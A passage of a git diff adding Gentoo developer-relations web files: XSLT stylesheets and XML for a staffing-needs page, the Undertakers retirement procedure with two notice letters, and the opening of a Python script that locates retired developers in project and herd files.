+        <xsl:when test="roles">
+          <xsl:value-of select="roles"/>
+        </xsl:when>
+        <xsl:otherwise></xsl:otherwise>
+      </xsl:choose>
+    </ti>
+  </tr>
+ </xsl:if>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/en/devrel/staffing-needs/index.xml b/xml/htdocs/proj/en/devrel/staffing-needs/index.xml
new file mode 100644
index 00000000..7ebe4e9a
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/staffing-needs/index.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/proj/en/devrel/staffing-needs/staffing-needs.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE staffingNeeds SYSTEM "/dtd/guide.dtd" [
+  <!ELEMENT staffingNeeds (title, author+, abstract, version, today, chapter+, jobs)>
+    <!ELEMENT today EMPTY>
+    <!ELEMENT jobs EMPTY>
+]>
+
+<staffingNeeds>
+<title>Gentoo Linux Staffing Needs</title>
+
+<author title="Scripter"><mail>neysx</mail></author>
+
+<abstract>
+This page collects requests for Gentoo Developers from our project pages.
+</abstract>
+
+<version>2</version>
+<today/>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+This page collects all calls for recruitments that can be found on our <uri
+link="/proj/en/index.xml?showlevel=3">project pages</uri>.
+</p>
+
+<p>
+This page does not list the only areas where contributions are welcome, but is
+only a reflection of where developers are needed the most. If you are
+interested in helping out in another area, then do not hesitate to contact the
+relevant development group anyway.
+</p>
+
+<p>
+If you are interested in helping out with any of the following tasks, please
+contact the <mail link="recruiters@gentoo.org">Gentoo Recruiters</mail>, CCing
+the displayed "Contact" on your application.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<jobs/>
+
+</staffingNeeds>
+
diff --git a/xml/htdocs/proj/en/devrel/staffing-needs/old-index.xml b/xml/htdocs/proj/en/devrel/staffing-needs/old-index.xml
new file mode 100644
index 00000000..96f20e02
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/staffing-needs/old-index.xml
@@ -0,0 +1,299 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/proj/en/devrel/staffing-needs/old-staffing-needs.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE staffingNeeds SYSTEM "/dtd/staffing-needs.dtd">
+
+<staffingNeeds>
+
+<needed>
+  <summary dateRequested="2007-06-05" priority="1">Haskell</summary>
+  <contact team="Y" name="Haskell Team">haskell@gentoo.org</contact>
+  <description>
+    Haskell herd needs new recruits for their world domination plan
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-21" priority="1">SGML herd</summary>
+  <contact name="Leonardo Boshell">leonardop@gentoo.org</contact>
+  <description>
+    Maintainers needed. Familiar with the handling of SGML and XML catalogs? 
+    Related packages such as DocBook, DTDs, etc? We need your help maintaining 
+    our ports and to help keep abreast of the bugs. Get in touch now!
+  </description>
+</needed>
+
+
+<needed>
+  <summary dateRequested="2007-03-21" priority="1">PPC</summary>
+  <contact name="Lars Weiler">pylon@gentoo.org</contact>
+  <description>
+    The PPC team is looking for AT's to help with testing and keeping 
+    the stable tree in a decent state. They are also after people to 
+    work on java-bugs and testing-requests on ppc. Got a power pc? Got some time? 
+    Get in touch!
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-21" priority="1">media-optical-herd</summary>
+  <contact name="Lars Weiler">pylon@gentoo.org</contact>
+  <description>
+    The media-optical herd is looking for maintainers to help with testing 
+    and version bumping of various CD-writing applications and frontends. 
+  </description>
+</needed>
+
+
+<needed>
+  <summary dateRequested="2008-01-21" priority="1">MIPS</summary>
+  <contact name="Joshua Kinard">kumba@gentoo.org</contact>
+  <description>
+    The MIPS team is looking to expand the troop, interested soldiers may 
+    get in touch with Joshua.
+  </description>
+</needed>
+
+
+<needed>
+  <summary dateRequested="2007-03-21" priority="1">Scheme, Common lisp </summary>
+  <contact name="Marijn Schouten">hkbst@gentoo.org</contact>
+  <description>
+    Desperately seeking Susan^WErlang.. er, wait. The Scheme, common lisp herds
+    are understaffed. If you have an interest in helping them out, please don't
+    hesitate to get in touch.
+  </description>
+</needed>
+
+
+<needed>
+  <summary dateRequested="2007-03-21" priority="1">text-markup</summary>
+  <contact name="Alexandre Buisse">nattfodd@gentoo.org</contact>
+  <description>
+    Maintainer needed for *TeX, includes supporting tetex-3, 
+    and preparing the switch to TeXlive.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-11" priority="1">sparc</summary>
+  <contact team="Y" name="Sparc Team">sparc@gentoo.org</contact>
+  <description>
+    The sparc team could use some more people for software testing, keywording
+    and release work. ~sparc and ~sparc64 users are most welcome!
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-11" priority="1">toolchain</summary>
+  <contact name="Mike Frysinger">vapier@gentoo.org</contact>
+  <description>
+    The toolchain development is currently done by 1-3 developers. Some
+    experienced perl-developers needed!
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-11" priority="1">samba/ccp</summary>
+  <contact name="Tiziano Müller">dev-zero@gentoo.org</contact>
+  <description>
+    This team is looking for a few more hands.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-11" priority="2">gwn/gdp</summary>
+  <contact name="Xavier Neys">neysx@gentoo.org</contact>
+  <description>
+    Looking for translators. The list of currently official translators can be
+    found on our <uri
+    link="/proj/en/gdp/international.xml">internationalisation subproject
+    page</uri>. If your language is not listed, please contact <uri
+    link="http://gdp.gentoo.org/">GDP</uri> for more information.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2007-03-03" priority="1">mysql</summary>
+  <contact name="Francesco Riosa">vivo@gentoo.org</contact>
+  <description>
+    dev-db/mysql* and many dependancies need a maintainer.
+    Main requirements are knowledge of c++, MySQL internals and
+    database administratation (something more than basics). Francesco
+    is available as a mentor and is able to get you familiar with the
+    current state of things.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">arm</summary>
+  <contact name="Mike Frysinger">vapier@gentoo.org</contact>
+  <description>
+    To get Gentoo on to ARM CPUs we need developers to undertake
+    package testing, patching and general bug solving.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2004-08-15" priority="1">embedded</summary>
+  <contact name="Nedd Ludd">solar@gentoo.org</contact>
+  <description>
+    To get Gentoo working on uClibc systems we need people to help
+    with uClibc debugging, toolchains, developing tools, and generally
+    architecture testing and patching.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">s390</summary>
+  <contact team="Y" name="S390 Team">s390@gentoo.org</contact>
+  <description>
+    To get Gentoo on to S390 CPUs we need developers to undertake
+    package testing, patching and general bug solving.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="2">security</summary>
+  <contact team="Y" name="Gentoo Security">security@gentoo.org</contact>
+  <description>
+    The Gentoo Security Team is seeking GLSA Coordinators to help
+    with open security bugs that need solving.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2008-01-21" priority="2">voip</summary>
+  <contact team="Y" name="VoIP">voip@gentoo.org</contact>
+  <description>
+    To further develop and support Voice over IP applications more
+    developers are wanted.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="2">toolchain</summary>
+  <contact name="Mike Frysinger">vapier@gentoo.org</contact>
+  <description>
+    There are a large number of bugs related to GCC, binutils and
+    glibc that need to be solved.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="3">sci</summary>
+  <contact name="Steve Arnold">nerdboy@gentoo.org</contact>
+  <description>
+   The Sci team is looking for developers to help out with GIS.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">dev-tools</summary>
+  <contact name="Steve Arnold">nerdboy@gentoo.org</contact>
+  <description>
+   Steve is looking for developers to help out with dev-tools.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2008-01-21" priority="1">java</summary>
+  <contact name="Petteri Räty">java@gentoo.org</contact>
+  <description>
+    The Java team is looking for new developers to help with maintaining
+	Java ebuilds. Please note that our tools are in python and ebuilds in
+	bash and as such you aren't going to use Java as a programming language.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="2">alpha</summary>
+  <contact name="Bryan Oestergaard">kloeri@gentoo.org</contact>
+  <description>
+    The Alpha team is looking for developers with the ability to maintain
+    (bug-fix, test) packages for the Alpha hardware platform.  Ideally these
+    developers have access to, or own, Alpha boxes.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="2">bsd</summary>
+  <contact team="Y" name="Gentoo/BSD Team">bsd@gentoo.org</contact>
+  <description>
+    The BSD team is looking for developers who have experience with both BSD and
+    with GNU/Linux to help port Gentoo to the FreeBSD platform.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">backup</summary>
+  <contact team="Y" name="app-backup">app-backup@gentoo.org</contact>
+  <description>
+    The app-backup herd is looking for developers to work on creating and
+    maintaining ebuilds for backup applications within Gentoo. Experience
+    with tape drives or any backup software (esp. Bacula, Arkeia, Tivoli)
+    considered a major plus, but anybody willing to learn and having reasonable
+    ebuild skills will be considered. A sampling of open bugs for this task
+    are listed here: http://tinyurl.com/8yexl
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">accessibility</summary>
+  <contact name="William Hubbs">WilliamH@gentoo.org</contact>
+  <description>
+    Gentoo's accessibility project is in need of help with things such
+    as ebuild maintenance, kernel hacking, and LiveCD creation. We're
+    also in need of someone to assist with bug solving.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">gnome</summary>
+  <contact name="John N. Laliberte">allanonjl@gentoo.org</contact>
+  <description>
+    The GNOME herd needs people who want to help maintain packages and
+    help with bug-solving.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-03-25" priority="1">GNUstep</summary>
+  <contact team="Y" name="Recruiters">gnustep@gentoo.org</contact>
+  <description>
+    Currently the GNUstep herd consists of a few members and is in dire need of
+    additional manpower to help maintain ebuilds and assist in bug squashing.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">desktop-misc, desktop-dock and desktop-wm</summary>
+  <contact name="Krzysztof Pawlik">nelchael@gentoo.org</contact>
+  <description>
+    desktop-misc, desktop-dock and desktop-wm herds need new developers to help
+    with ebuild maintenance, introducing new ebuilds into the tree and general
+    bugfixing.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-11-19" priority="1">Courier MTA</summary>
+  <contact name="Tuan Van">langthang</contact>
+  <description>
+    The net-mail team is looking for someone experienced with courier MTA to
+    help maintain this orphaned packagages.
+  </description>
+</needed>
+
+<needed>
+  <summary dateRequested="2006-07-24" priority="1">vim</summary>
+  <contact name="Tom Martin">slarti</contact>
+  <description>
+    The Vim herd needs new developers familiar with Vim and its scripts and also the
+    way in which Vim is packaged in Portage. If you meet these requirements, please
+    email recruiters and Cc vim@gentoo.org.
+  </description>
+</needed>
+
+</staffingNeeds>
diff --git a/xml/htdocs/proj/en/devrel/staffing-needs/old-staffing-needs.xsl b/xml/htdocs/proj/en/devrel/staffing-needs/old-staffing-needs.xsl
new file mode 100644
index 00000000..cf7e511f
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/staffing-needs/old-staffing-needs.xsl
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                xmlns:exslt="http://exslt.org/common"
+                xmlns:func="http://exslt.org/functions"
+                extension-element-prefixes="exslt func"
+                version="1.0">
+
+<xsl:output encoding="UTF-8" method="xml" indent="no" doctype-system="/dtd/project.dtd"/>
+<xsl:include href="/xsl/inserts.xsl"/>
+
+<xsl:template match="/staffingNeeds">
+<project>
+  <name>Staffing Needs</name>
+  <longname>Gentoo Linux Staffing Needs</longname>
+
+  <date>today</date>
+  <author title="Script"><mail link="devrel@gentoo.org">Gentoo Developer Relations</mail></author>
+
+  <description>
+    This page lists requests for Gentoo Developers the Gentoo Recruiters have received.
+  </description>
+  <longdescription><p>
+    This page aims to list the areas in which Gentoo actively seeks to
+    expand development efforts. Positions are open to both existing
+    Gentoo developers and also those wishing to become a Gentoo
+    developer. The priorities shown are sorted from highest to lowest.
+  </p></longdescription>
+  <extrachapter position="bottom">
+    <title>Gentoo Linux Staffing Needs</title>
+    <section>
+    <body>
+      <p>
+        This page does not list the only areas where contributions are
+        welcome, but is only a reflection of where developers are
+        needed the most. If you are interested in helping out in
+        another area, then do not hesitate to contact the relevant
+        development group anyway.
+      </p>
+      <p>
+        If you are interested in helping the Gentoo Documentation
+        Project, then please see
+        the <uri link="/proj/en/gdp/roadmap.xml">GDP Roadmap</uri> for
+        bugs that require attention.
+      </p>
+      <p>
+        If you are interested in helping out with any of the following tasks,
+        please contact the <mail link="recruiters@gentoo.org">Gentoo Recruiters</mail>,
+        CCing the displayed "Contact" on your application.
+      </p>
+      <table>
+        <tr>
+          <th>Priority</th>
+          <th>Summary</th>
+          <th>Description</th>
+        </tr>
+        <xsl:for-each select="needed">
+          <!-- Key by priority; then alphabetically...
+         No @priority is treated lowest, so this works as we need it to. -->
+          <xsl:sort select="summary/@priority" order="ascending"/>
+          <!-- Yes, this is messy; but XSLT doesn't natively
+         support case-insensitive sorting. This does it. -->
+          <xsl:sort select="translate(summary, 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')"/>
+          <tr>
+            <ti>
+              <xsl:choose>
+                <xsl:when test="summary/@priority != ''">
+                  <xsl:value-of select="summary/@priority"/>
+                </xsl:when>
+                <xsl:otherwise>1</xsl:otherwise>
+              </xsl:choose>
+            </ti>
+            <ti>
+              <xsl:value-of select="summary"/>
+            </ti>
+            <ti>
+              Requested on
+              <xsl:value-of select="func:format-date(summary/@dateRequested,'en')"/> by
+              <xsl:choose>
+                <xsl:when test="contact/@herd != ''">the </xsl:when>
+                <xsl:when test="contact/@team != ''">the </xsl:when>
+              </xsl:choose>
+              <xsl:choose>
+                <xsl:when test="contact/@name != ''">
+                  <mail link="{contact}">
+              <xsl:value-of select="contact/@name"/>
+              <xsl:choose>
+                <!-- IMPORTANT: Do not split up the two
+                     lines below -->
+                <xsl:when test="contact/@herd != ''"> Herd</xsl:when>
+                <xsl:when test="contact/@team != ''"> Team</xsl:when>
+              </xsl:choose>
+                  </mail>:
+                </xsl:when>
+                <xsl:otherwise>
+                  <mail link="{contact}">
+              <xsl:value-of select="contact"/>
+              <xsl:choose>
+                <!-- IMPORTANT: Do not split up the two
+                     lines below -->
+                <xsl:when test="contact/@herd != ''"> Herd</xsl:when>
+                <xsl:when test="contact/@team != ''"> Team</xsl:when>
+              </xsl:choose>
+                  </mail>:
+                </xsl:otherwise>
+              </xsl:choose>
+              <xsl:text> </xsl:text>
+              <xsl:apply-templates select="description"/>
+            </ti>
+          </tr>
+        </xsl:for-each>
+      </table>
+    </body>
+    </section>
+  </extrachapter>
+</project>
+</xsl:template>
+
+
+<xsl:template match="description//node()|description//@*">
+  <xsl:copy>
+    <xsl:apply-templates select="node()|@*"/>
+  </xsl:copy>
+</xsl:template>
+
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/en/devrel/staffing-needs/staffing-needs.xsl b/xml/htdocs/proj/en/devrel/staffing-needs/staffing-needs.xsl
new file mode 100644
index 00000000..453b2661
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/staffing-needs/staffing-needs.xsl
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="exslt"
+                version="1.0">
+
+<xsl:include href="/xsl/job.xsl"/>
+
+<xsl:output encoding="UTF-8" method="xml" indent="no" doctype-system="/dtd/guide.dtd"/>
+
+<xsl:template match="/staffingNeeds">
+<guide>
+<xsl:apply-templates/>
+</guide>
+</xsl:template>
+
+
+<xsl:template match="today">
+  <!--<date><xsl:value-of select="exslt:node-set($devaway)/devaway/@date"/></date>-->
+  <date>today</date>
+</xsl:template>
+
+<xsl:template match="jobs">
+  <xsl:variable name="projects" select="document('/proj/en/index.xml')/projects"/>
+  <chapter><title>Calls for recruitment</title><section><body><table>
+  <tr>
+  <th>Project</th>
+  <th>Job</th>
+  <th>Description</th>
+  <th>Requirements</th>
+  <th>Contacts</th>
+  </tr>
+  <xsl:for-each select="document($projects)/project/subproject">
+    <xsl:sort select="translate(normalize-space(document(string(@ref))/project/name),'QWERTYUIOPLKJHGFDSAZXCVBNM','qwertyuioplkjhgfdsazxcvbnm')"/>
+    <xsl:call-template name="a-project">
+     <xsl:with-param name="prefix" select="''"/>
+     <xsl:with-param name="project-page" select="@ref"/>
+    </xsl:call-template>
+  </xsl:for-each>
+  </table></body></section></chapter>
+</xsl:template>
+
+<xsl:template name="a-project">
+ <xsl:param name="prefix"/>
+ <xsl:param name="project-page"/>
+
+ <xsl:variable name="project" select="document($project-page)"/>
+ <xsl:if test="$project/project/recruitment">
+ <xsl:apply-templates select="$project/project/recruitment/job" mode="table">
+  <xsl:with-param name="rows" select="count($project/project/recruitment/job)"/>
+  <xsl:with-param name="link" select="$project-page"/>
+  <xsl:with-param name="name" select="concat($prefix, $project/project/name)"/>
+ </xsl:apply-templates>
+ </xsl:if>
+
+ <!-- Do subprojects -->
+ <xsl:for-each select="$project/project/subproject">
+  <xsl:sort select="translate(normalize-space(document(string(@ref))/project/name),'QWERTYUIOPLKJHGFDSAZXCVBNM','qwertyuioplkjhgfdsazxcvbnm')"/>
+    <xsl:call-template name="a-project">
+     <xsl:with-param name="prefix" select="concat($project/project/name, ' — ')"/>
+     <xsl:with-param name="project-page" select="@ref"/>
+    </xsl:call-template>
+ </xsl:for-each>
+
+</xsl:template>
+
+<xsl:template match="*|@*|text()">
+  <xsl:copy>
+    <xsl:apply-templates select="*|@*|text()"/>
+  </xsl:copy>
+</xsl:template>
+
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/en/devrel/undertakers/inactive.txt b/xml/htdocs/proj/en/devrel/undertakers/inactive.txt
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/inactive.txt
diff --git a/xml/htdocs/proj/en/devrel/undertakers/index.xml b/xml/htdocs/proj/en/devrel/undertakers/index.xml
new file mode 100644
index 00000000..979db9da
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/index.xml
@@ -0,0 +1,174 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/undertakers/index.xml,v 1.21 2010/07/21 13:21:32 jmbsvicetto Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>undertakers</name>
+<longname>Gentoo Developer Relations Undertakers</longname>
+
+<date>2008-03-30</date>
+
+<author title="Author">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Author">
+  <mail link="rane"/>
+</author>
+
+<description>
+The Developer Relations Undertakers project handles developer retirement, both
+when developers announce their retirement as well as due to developer
+inactivity.
+</description>
+
+<longdescription>
+
+<p>
+The Developer Relations Undertakers project handles developer retirement, both
+when developers announce their retirement as well as due to developer
+inactivity.
+</p>
+
+</longdescription>
+
+<dev role="member">rane</dev>
+<dev role="member">jmbsvicetto</dev>
+
+<extrachapter>
+<title>Steps to retire a developer</title>
+<section>
+<body>
+
+<ol>
+  <li>Check CVS and bugzilla activity:
+  <ul>
+    <li>
+      The easiest way to check developer's CVS activity is to go to the
+      <c>http://cia.vc/stats/author/developer</c> page. For example:
+      <uri>http://cia.vc/stats/author/phreak/</uri>.
+    </li>
+    <li>
+      Another method involves using the <c>history</c> subcommand of <c>cvs</c>,
+      which will display you the activity of the developer in question across
+      all CVS repositories. Use it like this: <c>cvs history -c -u dev | sed
+      's/^.\{2\}//g' | sort | less</c>
+    </li>
+    <li>
+      Additionally we have the CVS slacker report mails from stork (aka
+      cvs.gentoo.org) to <c>retirement@gentoo.org</c> the 1st of every month
+    </li>
+    <li>
+      Check <uri
+      link="http://bugs.gentoo.org/custom_userhistory.cgi?matchstr=DEVELOPER@gentoo.org">http://bugs.gentoo.org/custom_userhistory.cgi?matchstr=DEVELOPER@gentoo.org</uri>
+      to see the last few bugzilla activities. Activity is defined very broadly
+      in this case so commenting, changing resolution, CC'ing etc. all count as
+      activity. You need to look at each of those bugs to decide if the activity
+      is related to development.
+    </li>
+  </ul>
+  </li>
+  <li>
+    Try talking to the project lead(s), if the developer looks inactive. He
+    might be active in ways we can't determine easily. Put in some effort to
+    contact the developer (either IRC or via email) before starting the actual
+    retirement process. When sending an email to the developer in question, make
+    sure you tell him, that he might get retired due to being inactive. Also,
+    whenever sending emails in undertakers business, CC
+    <c>retirement@gentoo.org</c>.
+  </li>
+  <li>
+    If you believe developer is inactive, reopen the New Developer bug. If the
+    developer predates recruitment bugs (there was no recruitment bug), open a
+    new bug for retirement purposes.  Change <c>Summary</c> to <e>Retire: Full
+    Name (nickname)</e>. Reassign the bug to <c>retirement@gentoo.org</c>
+    (Retirement Admin) and change <c>Status Whiteboard</c> to
+    <e>first-mail-sent: yy-mm-dd</e>. Make sure the developer is <b>CC'ed</b> on
+    the bug.
+  </li>
+  <li>
+    Send him the <uri
+    link="/proj/en/devrel/undertakers/retirement-first.txt">first mail</uri> and
+    wait a minimum of two weeks, to give the developer adequate time to respond
+    on the bug or to the mail. If you get no response during that period, send
+    the <uri link="/proj/en/devrel/undertakers/retirement-second.txt">second
+    mail</uri>. Don't forget to change Status Whiteboard to
+    <e>second-mail-sent</e> and to update the date there. Remember that
+    <c>retirement@gentoo.org</c> must be CC'ed on both mails and all responses
+    must be forwarded there.
+  </li>
+  <li>
+    Consider any responses carefully. We're supposed to help Gentoo (in this
+    case by keeping the developer base "clean"), not to retire as many
+    developers as possible.
+  </li>
+  <li>Close the bug if the developer is still considered active</li>
+  <li>
+    If the developer doesn't respond in the given time or is otherwise still
+    considered inactive, state that on the bug and ask Infra to start <uri
+    link="http://www.gentoo.org/proj/en/infrastructure/retire-process.xml">retirement
+    process</uri>). Also make sure you change the <c>Status Whiteboard</c> to
+    <c>infra-retire yyyy-mm-dd</c>.
+  </li>
+  <li>
+    Retirement procedure looks like this:
+  <ul>
+    <li>
+      Wait for Infrastructure, Planet and Forums admins to retire developer in
+      question before proceeding further.
+    </li>
+    <li>
+      Remove access to <c>#gentoo-dev</c> (access is either removed completely
+      or changed to voice depending on whether they ask for it or they're still
+      considered active and helpful in the channel). Ask a freenode staffer to
+      reset the cloak to a non-gentoo one.
+    </li>
+    <li>
+      Clean up the tree and herds from the yet-retired developer. Use the
+      <c>retire.py</c> script (which is available in <uri
+      link="http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/devrel/undertakers/scripts/">gentoo/xml/htdocs/proj/en/devrel/undertakers/scripts/</uri>)
+      for that purpose, but make sure to review its output <b>before</b>
+      committing!
+    </li>
+    <li>
+      Clean up any <c>metadata.xml</c> the developer in question might be
+      mentioned in. This is accomplished by running <c>retire.py --metadata dev
+      /path/to/gentoo-x86</c>. Review the output, and apply it to current CVS,
+      but make sure you <c>cvs up</c> <b>before</b> applying it.
+    </li>
+    <li>
+      Clean up <c>herds.xml</c> in <path>proj/en/metastructure/herds/</path>.
+      Remove the developer in question from any herds he might be listed in. To
+      find those, you might want to run this: <c>retire.py --herds
+      /path/to/userinfo.xml /path/to/herds.xml</c>. That will show you the
+      developers listed as <b>retired</b> in <c>userinfo.xml</c> which are still
+      listed in <c>herds.xml</c>.
+    </li>
+    <li>
+      Clean up any project pages the developer may be listed in. Just make sure
+      you don't erase them completely (for example
+      <path>userrel/archives/soc/</path> is fine). Use <c>retire.py --project
+      /path/to/userinfo.xml /path/to/xml/proj/en/</c> to find any stale
+      entries.
+    </li>
+    <li>
+      Search for all NEW and REOPEN bugs assigned to the retired developer on
+      Gentoo Bugzilla and reassign them to herds or projects the package
+      belongs to. Information to whom reassign can be obtained from
+      <path>Metadata.xml</path> file of that package.
+    </li>
+    <li>
+      Check group membership on cvs.gentoo.org to ensure retired devs are
+      dropped from all groups by running the <c>search-retired-devs.sh</c>
+      script.
+    </li>
+  </ul>
+  </li>
+  <li>Close the bug once all of the above steps are finished!</li>
+</ol>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/devrel/undertakers/retirement-first.txt b/xml/htdocs/proj/en/devrel/undertakers/retirement-first.txt
new file mode 100644
index 00000000..a24101c4
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/retirement-first.txt
@@ -0,0 +1,18 @@
+Subject: Possible retirement of developer DEVNAME
+
+Dear FIRSTNAME,
+
+Possible retirement pending as you haven't shown any activity in the past two (or more) months.
+
+ - Last (viewable) bugzilla activity:
+   LASTBUGZILLA
+ - Last CVS activity:
+   LASTCVS
+
+If you are just away, then please use the devaway system. Please be advised that devaway may also be considered inactive if it extends past 60 days.
+
+Please reply and advise on your situation. Any developer found to be inactive for a period in excess of 60 days is subject to be retired. Please
+be aware that if we have not heard from you within 2 weeks time, we will begin the retirement process.
+If we do retire you, it's pretty easy to come back when you are ready. Just do the ebuild/end-quiz again and you're back on.
+
+SIGNATURE
diff --git a/xml/htdocs/proj/en/devrel/undertakers/retirement-second.txt b/xml/htdocs/proj/en/devrel/undertakers/retirement-second.txt
new file mode 100644
index 00000000..35657653
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/retirement-second.txt
@@ -0,0 +1,20 @@
+Subject: Second notice: Possible retirement of DEVNAME
+
+Dear FIRSTNAME,
+
+Possible retirement pending as you haven't shown any activity in the past two (or more) months.
+
+ - Last (viewable) bugzilla activity:
+   LASTBUGZILLA
+ - Last CVS activity:
+   LASTCVS
+
+If you are just away, then please use the devaway system. Any developer found to be inactive for a period in excess of 60 days is subject to be retired.
+
+While we hate to lose a developer who has made such an impact on Gentoo, Developer Relations is tasked with the maintenance of our developer pool, to include the retirement of inactive developers and revoking their access privileges.
+
+We do understand that life brings us unexpected changes and you simply may not have the time, resources, etc to contribute on a more frequent basis, every month or two is the preferred minimum. If we do retire you, it's pretty easy to come back when you are ready. Just do the ebuild/end-quiz again and you're back on. You also always have the option of contributing as your schedule allows via proxy or bugzilla.
+
+Please reply and advise on your situation. Please be aware that if we have not heard from you within 2 weeks time, we will begin the retirement process.
+
+SIGNATURE
diff --git a/xml/htdocs/proj/en/devrel/undertakers/scripts/retire.py.txt b/xml/htdocs/proj/en/devrel/undertakers/scripts/retire.py.txt
new file mode 100644
index 00000000..88a0b62d
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/undertakers/scripts/retire.py.txt
@@ -0,0 +1,222 @@
+#!/usr/bin/env python
+# vim: set ai et sw=4 ts=4 sts=4:
+"""Script to remove retired devs from metadata.xml."""
+
+import os
+import sys
+import difflib
+import StringIO
+import inspect
+
+from xml.etree import cElementTree as etree
+
+
+def getretired(userinfo_path):
+    """Generator yielding names of retired devs from userinfo.xml."""
+    userinfo = etree.parse(userinfo_path)
+
+    for entry in userinfo.findall('user'):
+        status = entry.find('status')
+        if status is not None:
+            if status.text in ('Retired', 'retired'):
+                devname = entry.get('username')
+                yield devname.lower()
+
+
+def herds(userinfo_path, herds_path):
+    """ Show retired developers and which herds they are in
+    """
+    try:
+        retired = set(getretired(userinfo_path))
+    except (SyntaxError, EnvironmentError), e:
+        print >>sys.stderr, "Couldn't parse userinfo.xml (%s)" % (e,)
+        return 1
+
+    try:
+        herds = etree.parse(herds_path)
+    except (SyntaxError, EnvironmentError), e:
+        print >>sys.stderr, "Couldn't parse herds.xml (%s)" % (e,)
+        return 1
+
+    for herd in herds.findall('herd'):
+        herdname = herd.find('name').text
+        for entry in herd.findall('maintainer'):
+            email = entry.find('email')
+            username = email.text.replace('@gentoo.org','').lower()
+            if username in retired:
+                print '%s:\t%s' % (herdname, username)
+    return 0
+
+def project(userinfo_path, path):
+    """ Remove retired developers from project pages
+    userinfo is path to proj/en/devrel/roll-call/userinfo.xml
+    files is a list of project xmls
+    """
+    try:
+        retired = set(getretired(userinfo_path))
+    except (SyntaxError, EnvironmentError), e:
+        print >>sys.stderr, "Couldn't parse userinfo.xml (%s)" % (e,)
+        return 1
+
+    for root, dirs, files in os.walk(path):
+        for file in files:
+            if file.endswith('.xml'):
+                fpath = root + '/' + file
+                try:
+                    project = etree.parse(fpath)
+                except (SyntaxError, EnvironmentError):
+                    #print "Skipping %s, probably not a project xml" % file
+                    continue
+                for entry in project.findall('dev'):
+                    if entry.text.lower() in retired:
+                        print fpath + ':\t' + entry.text
+                for elem in ['extraproject', 'task']:
+                    for entry in project.findall(elem):
+                        if 'lead' in entry.attrib and entry.attrib['lead'].lower() in retired:
+                            print fpath + ':\t' + entry.attrib['lead']
+
+def _metadata(path, modifier):
+    """Mutate metadata.xml and produce a diff.
+    metadata.xml with the retired dev removed.
+
+    path is the path to the root of the portage tree.
+
+    modifier is a function called as modifier(metadata, herds).
+    It should return whether it mutated metadata.
+    """
+    if not os.path.isdir(path):
